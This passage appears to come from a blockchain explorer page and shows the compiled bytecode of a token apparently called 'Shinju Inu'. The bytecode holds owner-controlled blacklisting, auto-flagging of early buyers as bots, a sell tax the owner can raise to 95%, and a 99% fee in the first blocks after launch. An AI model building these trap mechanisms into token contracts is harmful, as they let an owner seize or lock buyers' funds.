46001600160a01b03163314610e4c5760405162461bcd60e51b81526004016108ca90611b80565b601a80546001600160a01b039485166001600160a01b031991821617909155601b805493851693821693909317909255601c8054919093169116179055565b6000546001600160a01b03163314610eb55760405162461bcd60e51b81526004016108ca90611b80565b6032811015610efe5760405162461bcd60e51b8152602060048201526015602482015274125b9d985b1a59081b585e081d1e08185b5bdd5b9d605a1b60448201526064016108ca565b61271081600254610f0f9190611c0e565b610f199190611c25565b60185550565b6000546001600160a01b03163314610f495760405162461bcd60e51b81526004016108ca90611b80565b6001600160a01b038116610fae5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108ca565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146110335760405162461bcd60e51b81526004016108ca90611b80565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b60215460009060ff1680611070575081155b1561108757611080848484611422565b9050610a71565b6001600160a01b0384166000908152600a602052604090205460ff161580156110c957506001600160a01b0383166000908152600a602052604090205460ff16155b80156110d8575060065460ff16155b80156110f15750601e546001600160a01b038581169116145b1561111a576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6001600160a01b03841660009081526009602052604090205460ff16156111745760405162461bcd60e51b815260206004820152600e60248201526d596f7520617265206120626f742160901b60448201526064016108ca565b61117d846114dc565b6000546001600160a01b038581169116148015906111a457506001600160a01b0383163014155b80156111be57506001546001600160a01b03848116911614155b80156111d85750601e546001600160a01b03848116911614155b1561129c576001600160a01b0383166000908152600460205260409020546019546112038483611bcb565b11158061122857506001600160a01b0384166000908152600b602052604090205460ff165b61129a5760405162461bcd60e51b815260206004820152603f60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f7420686f6c642074686174206d7563682e0060648201526084016108ca565b505b601e546001600160a01b039081169085160361131c57601854821115806112db57506001600160a01b0383166000908152600b602052604090205460ff165b61131c5760405162461bcd60e51b81526020600482015260126024820152712a2c103634b6b4ba1032bc31b2b2b232b21760711b60448201526064016108ca565b6113258461152f565b1561133257611332611583565b6001600160a01b038416600090815260046020526040902054611356908390611bde565b6001600160a01b038516600090815260046020908152604080832093909355600a90529081205460ff161561138b5782611394565b611394836118e2565b6001600160a01b0385166000908152600460205260409020549091506113bb908290611bcb565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061140f9085815260200190565b60405180910390a3506001949350505050565b6001600160a01b038316600090815260046020526040812054611446908390611bde565b6001600160a01b038086166000908152600460205260408082209390935590851681522054611476908390611bcb565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114ca9086815260200190565b60405180910390a35060019392505050565b601e546001600160a01b03908116908216036115125761150f601054600c55601154600d55601254600e55601354600f55565b50565b61150f601454600c55601554600d55601654600e55601754600f55565b60006001600160a01b0382163014801561154c575060215460ff16155b80156115615750601e54600160a01b900460ff165b801561089a5750601f5430600090815260046020526040902054101592915050565b6021805460ff1916600117905560208054306000908152600490925260408220546115ae9190611bde565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106115e8576115e8611c47565b6001600160a01b03928316602091820292909201810191909152601d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611641573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116659190611c5d565b8160018151811061167857611678611c47565b6001600160a01b039283166020918202929092010152601d5460405163791ac94760e01b81524792919091169063791ac947906116c2908690600090879030904290600401611c7a565b600060405180830381600087803b1580156116dc57600080fd5b505af11580156116f0573d6000803e3d6000fd5b50505050600081476117029190611bde565b90506000600f54600c54836117179190611c0e565b6117219190611c25565b90506000600f54600d54846117369190611c0e565b6117409190611c25565b90506000600f54600e54856117559190611c0e565b61175f9190611c25565b601a546040519192506000916001600160a01b039091169061753090869084818181858888f193505050503d80600081146117b6576040519150601f19603f3d011682016040523d82523d6000602084013e6117bb565b606091505b50509050806117dc5760405162461bcd60e51b81526004016108ca90611ceb565b601b546040516000916001600160a01b03169061753090869084818181858888f193505050503d806000811461182e576040519150601f19603f3d011682016040523d82523d6000602084013e611833565b606091505b50509050806118545760405162461bcd60e51b81526004016108ca90611ceb565b601c546040516000916001600160a01b03169061753090869084818181858888f193505050503d80600081146118a6576040519150601f19603f3d011682016040523d82523d6000602084013e6118ab565b606091505b50509050806118cc5760405162461bcd60e51b81526004016108ca90611ceb565b50506021805460ff191690555050505050505050565b6000806008546007546118f59190611bcb565b43111561191957600f5461190a606485611c25565b6119149190611c0e565b61192f565b611924606484611c25565b61192f906063611c0e565b9050610a718184611bde565b600060208083528351808285015260005b818110156119685785810183015185820160400152820161194c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461150f57600080fd5b600080604083850312156119b157600080fd5b82356119bc81611989565b946020939093013593505050565b6000806000606084860312156119df57600080fd5b505081359360208301359350604090920135919050565b600080600060608486031215611a0b57600080fd5b8335611a1681611989565b92506020840135611a2681611989565b929592945050506040919091013590565b600060208284031215611a4957600080fd5b8135610a7181611989565b801515811461150f57600080fd5b60008060408385031215611a7557600080fd5b8235611a8081611989565b91506020830135611a9081611a54565b809150509250929050565b600060208284031215611aad57600080fd5b5035919050565b60008060408385031215611ac757600080fd5b82356119bc81611a54565b600080600060608486031215611ae757600080fd5b8335611af281611a54565b95602085013595506040909401359392505050565b600080600060608486031215611b1c57600080fd5b8335611b2781611989565b92506020840135611b3781611989565b91506040840135611b4781611989565b809150509250925092565b60008060408385031215611b6557600080fd5b8235611b7081611989565b91506020830135611a9081611989565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561089a5761089a611bb5565b8181038181111561089a5761089a611bb5565b600060208284031215611c0357600080fd5b8151610a7181611a54565b808202811582820484141761089a5761089a611bb5565b600082611c4257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611c6f57600080fd5b8151610a7181611989565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cca5784516001600160a01b031683529383019391830191600101611ca5565b50506001600160a01b03969096166060850152505050608001529392505050565b6020808252601e908201527f72656365697665722072656a656374656420455448207472616e73666572000060408201526060019056fea2646970667358221220f605fb4681dea154408ba94473c50b10719d6799c1e370e5a4fe06009249902364736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102605760003560e01c80636827e76411610144578063bfa21d6a116100b6578063dd62ed3e1161007a578063dd62ed3e1461073d578063e96fada214610783578063ec28438a146107a3578063f2fde38b146107c3578063f84ba65d146107e3578063fe575a871461080357600080fd5b8063bfa21d6a146106a7578063c4f04841146106c7578063d0889358146106dd578063d7c01032146106fd578063dab84ee71461071d57600080fd5b8063893d20e811610108578063893d20e8146105de5780638b42507f146105fc5780638f9a55c01461062c57806395d89b411461064257806398118cb414610671578063a9059cbb1461068757600080fd5b80636827e764146105465780636ddd17131461055c57806370a082311461057d578063715018a6146105b35780637d1db4a5146105c857600080fd5b80633f4218e0116101dd57806352551a75116101a157806352551a7514610486578063534030b1146104a6578063596fa9e3146104c65780635d0044ca146104e65780635e83ae7614610506578063658d4b7f1461052657600080fd5b80633f4218e0146103d957806342cc2f45146104095780634ada218b146104415780634f28cac21461045b57806351bc3c851461047157600080fd5b806318160ddd1161022457806318160ddd146103435780631df4ccfc1461035857806323b872dd1461036e5780632f54bf6e1461038e578063313ce567146103bd57600080fd5b80630445b6671461026c57806306fdde0314610295578063095ea7b3146102d15780630d075d9c146103015780630f683e901461032357600080fd5b3661026757005b600080fd5b34801561027857600080fd5b50610282601f5481565b6040519081526020015b60405180910390f35b3480156102a157600080fd5b5060408051808201909152600a8152695368696e6a7520496e7560b01b60208201525b60405161028c919061193b565b3480156102dd57600080fd5b506102f16102ec36600461199e565b610833565b604051901515815260200161028c565b34801561030d57600080fd5b5061032161031c3660046119ca565b6108a0565b005b34801561032f57600080fd5b5061032161033e3660046119ca565b610948565b34801561034f57600080fd5b50600254610282565b34801561036457600080fd5b50610282600f5481565b34801561037a57600080fd5b506102f16103893660046119f6565b6109e3565b34801561039a57600080fd5b506102f16103a9366004611a37565b6000546001600160a01b0391821691161490565b3480156103c957600080fd5b506040516009815260200161028c565b3480156103e557600080fd5b506102f16103f4366004611a37565b600a6020526000908152604090205460ff1681565b34801561041557600080fd5b50601e54610429906001600160a01b031681565b6040516001600160a01b03909116815260200161028c565b34801561044d57600080fd5b506006546102f19060ff1681565b34801561046757600080fd5b5061028260205481565b34801561047d57600080fd5b50610321610a78565b34801561049257600080fd5b506102f16104a136600461199e565b610ad5565b3480156104b257600080fd5b506103216104c1366004611a62565b610b49565b3480156104d257600080fd5b50601d54610429906001600160a01b031681565b3480156104f257600080fd5b50610321610501366004611a9b565b610b9e565b34801561051257600080fd5b50610321610521366004611ab4565b610c3a565b34801561053257600080fd5b50610321610541366004611a62565b610cc8565b34801561055257600080fd5b50610282600c5481565b34801561056857600080fd5b50601e546102f190600160a01b900460ff1681565b34801561058957600080fd5b50610282610598366004611a37565b6001600160a01b031660009081526004602052604090205490565b3480156105bf57600080fd5b50610321610d1d565b3480156105d457600080fd5b5061028260185481565b3480156105ea57600080fd5b506000546001600160a01b0316610429565b34801561060857600080fd5b506102f1610617366004611a37565b600b6020526000908152604090205460ff1681565b34801561063857600080fd5b5061028260195481565b34801561064e57600080fd5b506040805180820190915260068152655348494e4a5560d01b60208201526102c4565b34801561067d57600080fd5b50610282600e5481565b34801561069357600080fd5b506102f16106a236600461199e565b610d91565b3480156106b357600080fd5b50601c54610429906001600160a01b031681565b3480156106d357600080fd5b50610282600d5481565b3480156106e957600080fd5b506103216106f8366004611ad2565b610d9e565b34801561070957600080fd5b50610321610718366004611b07565b610e22565b34801561072957600080fd5b50601a54610429906001600160a01b031681565b34801561074957600080fd5b50610282610758366004611b52565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561078f57600080fd5b50601b54610429906001600160a01b031681565b3480156107af57600080fd5b506103216107be366004611a9b565b610e8b565b3480156107cf57600080fd5b506103216107de366004611a37565b610f1f565b3480156107ef57600080fd5b506103216107fe366004611a62565b611009565b34801561080f57600080fd5b506102f161081e366004611a37565b60096020526000908152604090205460ff1681565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061088e9086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146108d35760405162461bcd60e51b81526004016108ca90611b80565b60405180910390fd5b601083905560118290556012819055806108ed8385611bcb565b6108f79190611bcb565b6013819055601910156109435760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642062757920746178206665657360601b60448201526064016108ca565b505050565b6000546001600160a01b031633146109725760405162461bcd60e51b81526004016108ca90611b80565b6014839055601582905560168190558061098c8385611bcb565b6109969190611bcb565b6017819055605f10156109435760405162461bcd60e51b8152602060048201526015602482015274496e76616c69642073656c6c20746178206665657360581b60448201526064016108ca565b6001600160a01b038316600090815260056020908152604080832033845290915281205460001914610a63576001600160a01b0384166000908152600560209081526040808320338452909152902054610a3e908390611bde565b6001600160a01b03851660009081526005602090815260408083203384529091529020555b610a6e84848461105e565b90505b9392505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b81526004016108ca90611b80565b6040514790339082156108fc029083906000818181858888f19350505050158015610ad1573d6000803e3d6000fd5b5050565b60405163a9059cbb60e01b8152336004820152602481018290526000906001600160a01b0384169063a9059cbb906044016020604051808303816000875af1158015610b25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a719190611bf1565b6000546001600160a01b03163314610b735760405162461bcd60e51b81526004016108ca90611b80565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610bc85760405162461bcd60e51b81526004016108ca90611b80565b6064811015610c195760405162461bcd60e51b815260206004820152601760248201527f496e76616c6964206d61782077616c6c65742073697a6500000000000000000060448201526064016108ca565b61271081600254610c2a9190611c0e565b610c349190611c25565b60195550565b6000546001600160a01b03163314610c645760405162461bcd60e51b81526004016108ca90611b80565b81610ca35760405162461bcd60e51b815260206004820152600f60248201526e273790393ab3903432b9329039b2b960891b60448201526064016108ca565b6006805460ff19168315159081179091556008829055600103610ad157436007555050565b6000546001600160a01b03163314610cf25760405162461bcd60e51b81526004016108ca90611b80565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610d475760405162461bcd60e51b81526004016108ca90611b80565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610a7133848461105e565b6000546001600160a01b03163314610dc85760405162461bcd60e51b81526004016108ca90611b80565b601e805460ff60a01b1916600160a01b8515150217905560025461271090610df1908490611c0e565b610dfb9190611c25565b601f5560025461271090610e10908390611c0e565b610e1a9190611c25565b602055505050565b6000546001600160a01b03163314610e4c5760405162461bcd60e51b81526004016108ca90611b80565b601a80546001600160a01b039485166001600160a01b031991821617909155601b805493851693821693909317909255601c8054919093169116179055565b6000546001600160a01b03163314610eb55760405162461bcd60e51b81526004016108ca90611b80565b6032811015610efe5760405162461bcd60e51b8152602060048201526015602482015274125b9d985b1a59081b585e081d1e08185b5bdd5b9d605a1b60448201526064016108ca565b61271081600254610f0f9190611c0e565b610f199190611c25565b60185550565b6000546001600160a01b03163314610f495760405162461bcd60e51b81526004016108ca90611b80565b6001600160a01b038116610fae5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108ca565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146110335760405162461bcd60e51b81526004016108ca90611b80565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b60215460009060ff1680611070575081155b1561108757611080848484611422565b9050610a71565b6001600160a01b0384166000908152600a602052604090205460ff161580156110c957506001600160a01b0383166000908152600a602052604090205460ff16155b80156110d8575060065460ff16155b80156110f15750601e546001600160a01b038581169116145b1561111a576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6001600160a01b03841660009081526009602052604090205460ff16156111745760405162461bcd60e51b815260206004820152600e60248201526d596f7520617265206120626f742160901b60448201526064016108ca565b61117d846114dc565b6000546001600160a01b038581169116148015906111a457506001600160a01b0383163014155b80156111be57506001546001600160a01b03848116911614155b80156111d85750601e546001600160a01b03848116911614155b1561129c576001600160a01b0383166000908152600460205260409020546019546112038483611bcb565b11158061122857506001600160a01b0384166000908152600b602052604090205460ff165b61129a5760405162461bcd60e51b815260206004820152603f60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f7420686f6c642074686174206d7563682e0060648201526084016108ca565b505b601e546001600160a01b039081169085160361131c57601854821115806112db57506001600160a01b0383166000908152600b602052604090205460ff165b61131c5760405162461bcd60e51b81526020600482015260126024820152712a2c103634b6b4ba1032bc31b2b2b232b21760711b60448201526064016108ca565b6113258461152f565b1561133257611332611583565b6001600160a01b038416600090815260046020526040902054611356908390611bde565b6001600160a01b038516600090815260046020908152604080832093909355600a90529081205460ff161561138b5782611394565b611394836118e2565b6001600160a01b0385166000908152600460205260409020549091506113bb908290611bcb565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061140f9085815260200190565b60405180910390a3506001949350505050565b6001600160a01b038316600090815260046020526040812054611446908390611bde565b6001600160a01b038086166000908152600460205260408082209390935590851681522054611476908390611bcb565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114ca9086815260200190565b60405180910390a35060019392505050565b601e546001600160a01b03908116908216036115125761150f601054600c55601154600d55601254600e55601354600f55565b50565b61150f601454600c55601554600d55601654600e55601754600f55565b60006001600160a01b0382163014801561154c575060215460ff16155b80156115615750601e54600160a01b900460ff165b801561089a5750601f5430600090815260046020526040902054101592915050565b6021805460ff1916600117905560208054306000908152600490925260408220546115ae9190611bde565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106115e8576115e8611c47565b6001600160a01b03928316602091820292909201810191909152601d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611641573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116659190611c5d565b8160018151811061167857611678611c47565b6001600160a01b039283166020918202929092010152601d5460405163791ac94760e01b81524792919091169063791ac947906116c2908690600090879030904290600401611c7a565b600060405180830381600087803b1580156116dc57600080fd5b505af11580156116f0573d6000803e3d6000fd5b50505050600081476117029190611bde565b90506000600f54600c54836117179190611c0e565b6117219190611c25565b90506000600f54600d54846117369190611c0e565b6117409190611c25565b90506000600f54600e54856117559190611c0e565b61175f9190611c25565b601a546040519192506000916001600160a01b039091169061753090869084818181858888f193505050503d80600081146117b6576040519150601f19603f3d011682016040523d82523d6000602084013e6117bb565b606091505b50509050806117dc5760405162461bcd60e51b81526004016108ca90611ceb565b601b546040516000916001600160a01b03169061753090869084818181858888f193505050503d806000811461182e576040519150601f19603f3d011682016040523d82523d6000602084013e611833565b606091505b50509050806118545760405162461bcd60e51b81526004016108ca90611ceb565b601c546040516000916001600160a01b03169061753090869084818181858888f193505050503d80600081146118a6576040519150601f19603f3d011682016040523d82523d6000602084013e6118ab565b606091505b50509050806118cc5760405162461bcd60e51b81526004016108ca90611ceb565b50506021805460ff191690555050505050505050565b6000806008546007546118f59190611bcb565b43111561191957600f5461190a606485611c25565b6119149190611c0e565b61192f565b611924606484611c25565b61192f906063611c0e565b9050610a718184611bde565b600060208083528351808285015260005b818110156119685785810183015185820160400152820161194c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461150f57600080fd5b600080604083850312156119b157600080fd5b82356119bc81611989565b946020939093013593505050565b6000806000606084860312156119df57600080fd5b505081359360208301359350604090920135919050565b600080600060608486031215611a0b57600080fd5b8335611a1681611989565b92506020840135611a2681611989565b929592945050506040919091013590565b600060208284031215611a4957600080fd5b8135610a7181611989565b801515811461150f57600080fd5b60008060408385031215611a7557600080fd5b8235611a8081611989565b91506020830135611a9081611a54565b809150509250929050565b600060208284031215611aad57600080fd5b5035919050565b60008060408385031215611ac757600080fd5b82356119bc81611a54565b600080600060608486031215611ae757600080fd5b8335611af281611a54565b95602085013595506040909401359392505050565b600080600060608486031215611b1c57600080fd5b8335611b2781611989565b92506020840135611b3781611989565b91506040840135611b4781611989565b809150509250925092565b60008060408385031215611b6557600080fd5b8235611b7081611989565b91506020830135611a9081611989565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561089a5761089a611bb5565b8181038181111561089a5761089a611bb5565b600060208284031215611c0357600080fd5b8151610a7181611a54565b808202811582820484141761089a5761089a611bb5565b600082611c4257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611c6f57600080fd5b8151610a7181611989565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cca5784516001600160a01b031683529383019391830191600101611ca5565b50506001600160a01b03969096166060850152505050608001529392505050565b6020808252601e908201527f72656365697665722072656a656374656420455448207472616e73666572000060408201526060019056fea2646970667358221220f605fb4681dea154408ba94473c50b10719d6799c1e370e5a4fe06009249902364736f6c63430008130033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.